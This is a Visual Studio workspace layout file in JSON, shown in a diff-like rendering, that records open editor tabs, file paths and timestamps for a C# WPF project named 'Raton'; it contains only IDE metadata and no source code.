"$type": "Document",
|
||||
"DocumentIndex": 5,
|
||||
"Title": "WpfXamlLoader.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs",
|
||||
"RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs",
|
||||
"ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"ViewState": "AgIAAFwAAAAAAAAAAADgv3cAAAADAAAAAQAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:23:34.806Z",
|
||||
"EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 7,
|
||||
"Title": "Games.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Games.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Games.cs",
|
||||
"ViewState": "AgIAAO8AAAAAAAAAAAAIwBMBAAADAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:20:59.309Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 18,
|
||||
"Title": "games.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Release\\windows\\games.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs",
|
||||
"RelativeToolTip": "obj\\Release\\windows\\games.g.cs",
|
||||
"ViewState": "AgIAAOEAAAAAAAAAAAAcwAEBAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:58:44.506Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 20,
|
||||
"Title": "tools.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Release\\windows\\tools.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs",
|
||||
"RelativeToolTip": "obj\\Release\\windows\\tools.g.cs",
|
||||
"ViewState": "AgIAAGQAAAAAAAAAAAAcwFoAAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:53:36.217Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 17,
|
||||
"Title": "plugintutorial.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"RelativeToolTip": "obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:58:49.39Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 9,
|
||||
"Title": "Tasks.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Tasks.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Tasks.cs",
|
||||
"ViewState": "AgIAAHkAAAAAAAAAAAAcwJkAAABNAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:20:46.477Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 8,
|
||||
"Title": "ClientStorage.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs",
|
||||
"RelativeDocumentMoniker": "ClientStorage.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs",
|
||||
"RelativeToolTip": "ClientStorage.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAeAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:20:10.624Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 11,
|
||||
"Title": "AssemblyInfo.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs",
|
||||
"RelativeDocumentMoniker": "AssemblyInfo.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs",
|
||||
"RelativeToolTip": "AssemblyInfo.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAABEAAAALAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:17:42.311Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 13,
|
||||
"Title": "clientfolders.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\clientfolders.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml",
|
||||
"RelativeToolTip": "windows\\clientfolders.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T18:13:32.722Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 2,
|
||||
"Title": "Credits.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Credits.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Credits.cs",
|
||||
"ViewState": "AgIAACEAAAAAAAAAAAD4v0IAAAAcAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:13:29.117Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 14,
|
||||
"Title": "ClientFolders.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\ClientFolders.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\ClientFolders.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAAB4AAAANAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:13:30.405Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 4,
|
||||
"Title": "MainWindow.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs",
|
||||
"RelativeDocumentMoniker": "WpfApp1\\MainWindow.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs",
|
||||
"RelativeToolTip": "WpfApp1\\MainWindow.cs",
|
||||
"ViewState": "AgIAAOkBAAAAAAAAAAAjwAYCAAAEAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:50:36.45Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 6,
|
||||
"Title": "plugintutorial.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\plugintutorial.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml",
|
||||
"RelativeToolTip": "windows\\plugintutorial.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:58:50.375Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 12,
|
||||
"Title": "plugintutorial.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"RelativeToolTip": "obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:14:20.678Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 16,
|
||||
"Title": "about.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\about.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml",
|
||||
"RelativeToolTip": "windows\\about.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:59:24.563Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 15,
|
||||
"Title": "port.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\port.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml",
|
||||
"RelativeToolTip": "windows\\port.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:58:56.381Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 19,
|
||||
"Title": "preview.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\preview.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml",
|
||||
"RelativeToolTip": "windows\\preview.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:56:17.962Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 21,
|
||||
"Title": "Port.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs",
|
||||
"RelativeDocumentMoniker": "WpfApp1\\Windows\\Port.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs",
|
||||
"RelativeToolTip": "WpfApp1\\Windows\\Port.cs",
|
||||
"ViewState": "AgIAAEsAAAAAAAAAAAAcwEsAAAAAAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:47:54.61Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 10,
|
||||
"Title": "Settings.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Settings.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Settings.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAbAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:47:49.308Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 22,
|
||||
"Title": "ratonCMD.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Forms\\ratonCMD.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs",
|
||||
"RelativeToolTip": "Raton\\Forms\\ratonCMD.cs",
|
||||
"ViewState": "AgIAAGwAAAAAAAAAAAAcwIwAAAALAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:46:50.752Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 23,
|
||||
"Title": "AGObfuscator.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs",
|
||||
"RelativeDocumentMoniker": "AGObfuscator.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs",
|
||||
"RelativeToolTip": "AGObfuscator.cs",
|
||||
"ViewState": "AgIAAA4AAAAAAAAAAAAQwE8AAAAvAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:43:46.558Z",
|
||||
"EditorCaption": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,457 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Raton\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 8,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
